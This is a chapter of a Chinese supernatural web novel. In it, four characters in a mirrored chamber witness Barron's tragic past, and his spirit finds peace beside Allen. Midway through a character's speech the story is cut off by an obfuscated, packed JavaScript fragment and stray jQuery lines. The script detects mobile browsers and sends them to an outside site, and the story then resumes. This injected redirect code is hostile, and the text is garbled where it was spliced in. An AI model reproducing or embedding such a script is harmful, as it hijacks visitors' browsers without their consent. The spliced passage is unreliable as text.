蜡烛的光在镜面之间来回折射，映出无数个江津、沈至、周天、马赛，以及无数个坐在椅子上和躺在床上的尸体。那些影像层层叠叠，一直延伸到镜中深处看不见的尽头，仿佛整个石室是一个没有边界的幻觉空间。
那心跳般的声音还在持续，缓慢，沉重，带着某种不祥的节奏，从每一面镜子里传来。
“巴伦，艾伦。”马赛喃喃念着那两个名字，“他们是同一个人？”
“不。”沈至盯着那两张一模一样的脸，“他们是两个人。一个苍老，一个年轻。但长着同一张脸。”
“双胞胎？”周天猜测。
“不像。”江津走近了些，仔细观察那个苍老尸体的面容，“你们看，年轻的那个，表情很安详，像是睡着了一样。苍老的那个，眉头是皱着的，嘴角向下，死前应该很痛苦。但他们的五官确实是同一个人啊。不是双胞胎，应该是同一个人在不同时间的样子。”
“你的意思是，他们是同一个人？一个老了，一个还年轻？”马赛难以置信，“这怎么可能？时间线错乱？”
“在这个世界，没什么不可能。”沈至说。
他举起蜡烛，靠近墙壁上的一面大镜子，仔细观察镜面深处那些层层叠叠的影像。那些影像不是简单的反射，而是仿佛每一层都有细微的不同。
有的镜中，苍老的尸体是坐着的；有的镜中，苍老的尸体却站了起来，站在椅子旁边，低头看着躺着的年轻人。
有的镜中，年轻的那个睁开了眼睛，正朝着镜外看。
“这些镜子……”沈至低声说，“记录的不仅仅是现在。它们记录的是不同的时间。”
“就像冰墙里那些扭曲的影子？”江津问。
沈至点头：“叠加的循环，在这个石室里，以镜子的形式被固定下来了。”
就在这时，镜中深处的某个影像，动了。
不是反射。
是真正的动了。
那是一个站在年轻尸体旁边的苍老身影，在某一层镜子的深处，那个本该死去的老人，缓缓地抬起了头。
他的眼睛，是睁开的。
空洞，幽蓝，和之前那个冰晶沈至的眼眶里的光芒一模一样。
他正看着镜外的他们。
“小心！”周天下意识地挡在众人前面。
但那个苍老的幻影没有扑出来。他只是静静地看着，嘴唇微启，发出低沉而沙哑的声音，像是隔着很远的距离传来的叹息：
“又有人来了……”
那声音在镜面之间来回折射，形成层层叠叠的回音，仿佛无数个他在同时低语。
“你们也想杀我吗？”那声音说，“还是想救我？还是……想要成为我？”
沈至上前一步，沉声道：“你是谁？”
“我是谁？”那声音发出一声嘶哑的、如同破风箱般的笑，“我是巴伦。也是艾伦。也是你们每一个人。”
随着他的话语，四周的镜子开始泛起涟漪般的波动。那些原本静止的影像开始活动起来，如同无数个屏幕同时播放着不同的画面。
起初，是一个肮脏的小镇，街道泥泞，房屋低矮。一个衣衫褴褛的孩子蜷缩在墙角，被几个大孩子扔石头。他抱着头，一声不吭，眼神却死死盯着那些打他的人，眼底有一种和年龄不符的冰冷。
后来，那个孩子长大了些，在脏乱的市场里，蹲在一个卖艺的老人身边，学着变戏法，他从袖子里变出花朵，从空碗里变出水。围观的镇民们扔给他几枚铜板，然后转身窃窃私语：“就是那个没人要的野种。”
再后来，少年独自坐在半山腰的一块石头上，旁边坐着一个年轻的男人。那男人有着温暖的笑容，金色的头发在阳光下闪闪发光。他递给少年一块面包，少年接过，低着头啃，肩膀微微颤抖。年轻男人摸了摸他的头，轻声说着什么。
艾伦。
江津在心里默念着那个名字。
那个唯一给过巴伦温暖的人。
画面继续流动。
大雪。遮天蔽日的大雪，封住了整个镇子。巴伦站在雪中，手里拿着一面破碎的镜子，镜面里映出他冰冷扭曲的脸。他的身后，是那些曾经欺负过他的人们，有的倒在雪地里，有的拼命往山上爬，有的跪在地上哀求。巴伦只是看着他们，嘴角挂着一个陌生的笑容。
那不是他。那是他许愿“替我去惩罚他们吧”之后，占据了他身体的魔鬼。
雪越下越大，越来越大，大到整个镇子都被埋了。
大到……半山腰那间小屋，也被埋了。
巴伦疯了似的在雪里挖，挖到手指出血，挖到指甲翻起，终于挖出了那扇门。他冲进去，看到艾伦躺在床上，闭着眼睛，身上覆盖着一层薄薄的雪。
他死了。被大雪闷死的。被巴伦招来的大雪，闷死的。
画面里，巴伦跪在床边，抱着艾伦的尸体，发出野兽般的哀嚎。那不是人的声音，是被撕碎的灵魂的惨叫。
然后，他跌跌撞撞地跑出去，跑向那个冰缝，那个传说中通向地狱的裂缝。他跳了下去。
冰缝深处，是无数面冰镜。冰镜里，映出无数个他自己，丑陋的，扭曲的，疯狂的，悲伤的，愤怒的，绝望的，每一个都在看着他。
他对着那些镜子嘶吼：“让我死！让我消失！让我永远不要再害人了！”
但他的愿望没有实现。
一个更黑暗、更冰冷的东西，从镜子深处探出头来，钻进了他的身体。
“好啊。”那东西在他耳边低语，“你不消失。你看着。看着每一个进来的人，他们的恐惧，他们的悲伤，他们的绝望。然后变成他们最怕的样子。这样，你就永远不会忘记，你是什么。”
画面戛然而止。
石室里一片死寂。
江津发现自己的脸是湿的。他不知道自己什么时候哭了。
马赛缩在墙角，浑身发抖。周天攥紧了拳头，指节泛白。沈至沉默地站着，眼神里第一次出现了复杂的情绪。不是恐惧，不是怜悯，而是一种深深的、如同凝视深渊时的共鸣。
“所以……”江津的声音沙哑，“那个怪物，不是巴伦。是被魔鬼占据的、巴伦的尸体？”
镜子深处，那个苍老的身影点了点头。
“魔鬼用我的眼睛看，用我的手杀。但它杀的人，每一个，都是我害的。那些恐惧，那些痛苦，都是因为我的愿望而起。所以，我就是它。它就是我。”
“不。”江津突然说。
他走上前，走到那面最大的镜子前，直视着镜中那个苍老扭曲的幻影。
“那个许愿让欺负你的人得到惩罚的，是你。那个后悔害死艾伦的，也是你。那个跳进冰缝想自我了断的，也是你。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301271|198637||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
你也许召唤来了魔鬼，但那个想要消失的念头，是源于你的愧疚，你的爱。”
“你爱艾伦，对不对？”
镜子深处，那个苍老的身影猛地一震。
“你怕的不是消失。你怕的是被忘记。你怕的是，你害死了唯一给过你温暖的人，然后你消失了，就再也没人记得他了。”
“所以你留下了他的身体。你把他保存下来，放在这里。每一次循环，每一次有人进来，你都会看到他们，就像看到当初的自己。”
镜中的影像开始颤抖，那些层层叠叠的镜子里的无数个巴伦，都开始颤抖。
“不……”那声音变得破碎，“我只是……我只是想……”
“你想有人能理解你。”沈至接过话，“所以魔鬼利用你，把我们每个人的恐惧都收集起来，变成那些影子。你想让我们看到，你不是唯一的怪物。每个人心里，都藏着一个‘巴伦’。”
周天突然开口：“妈的，这么一说，我那孤独的破房子，好像也没那么惨。”
江津看着镜中的巴伦：“我们都有过‘希望有人替我’的念头。小时候希望有人替我面对母亲，长大希望有人替我承担恐惧。那个念头本身，并不可怕。可怕的是，放任它占据自己。”
镜子里的无数巴伦，停止了颤抖。
他们静静地看着镜外的四个人，空洞的眼里，似乎有什么东西在缓慢地变化。
那个苍老的身影，最初的巴伦，缓缓抬起手，贴在镜面上。
“我……困了太久。”他说，声音里第一次有了一丝和之前不同的、近乎解脱的意味，“想睡了。”
“那就睡吧。”江津把手贴在镜子的另一面，隔着那冰冷的镜面，和那个苍老的手掌相对，“艾伦一直在等你。”
镜子深处，那个躺在床上的年轻身影，似乎动了一下。
那只是一个细微的变化，但所有人都看到了。
他的嘴角，似乎弯起了一个极浅极浅的弧度。
那不是一个微笑。
那是更温柔的东西，是“我一直在等你”的回应。
镜子开始震颤。
不是崩塌的震颤，而是如同水面泛起涟漪的、柔和的波动。那些层层叠叠的镜像开始模糊，如同被风吹散的烟雾，一点一点变得透明。
“谢谢。”那苍老的声音最后一次响起，轻得像一声叹息，“谢谢你们……让我想起，我是巴伦，不是它。”
话音刚落，石室中央那具苍老的尸体，身体表面开始泛起淡淡的光芒。那光芒温暖而柔和，驱散了石室里积攒了无数年的寒意。
他的身体，连同那把椅子，连同旁边躺着的艾伦，同时开始化作光点，缓缓升起，消散在空气中。
而那些光点飘向的地方是那面最大的镜子。
镜面上，缓缓浮现出一个画面：
大雪初霁的午后，阳光洒在半山腰的小屋前。一个金发年轻人站在门口，笑容温暖地伸出手。而雪地里，一个瘦小的身影正跌跌撞撞地朝他跑来，脸上带着从未有过的、属于孩子的笑。
他们终于在一起了。
在那永远不会有风雪的地方。
画面持续了几秒，然后如同水墨融入清水，缓缓淡去。
镜面恢复如常，只是不再有那些层层叠叠的恐怖镜像。只剩下一面普通的、冰冷的镜子。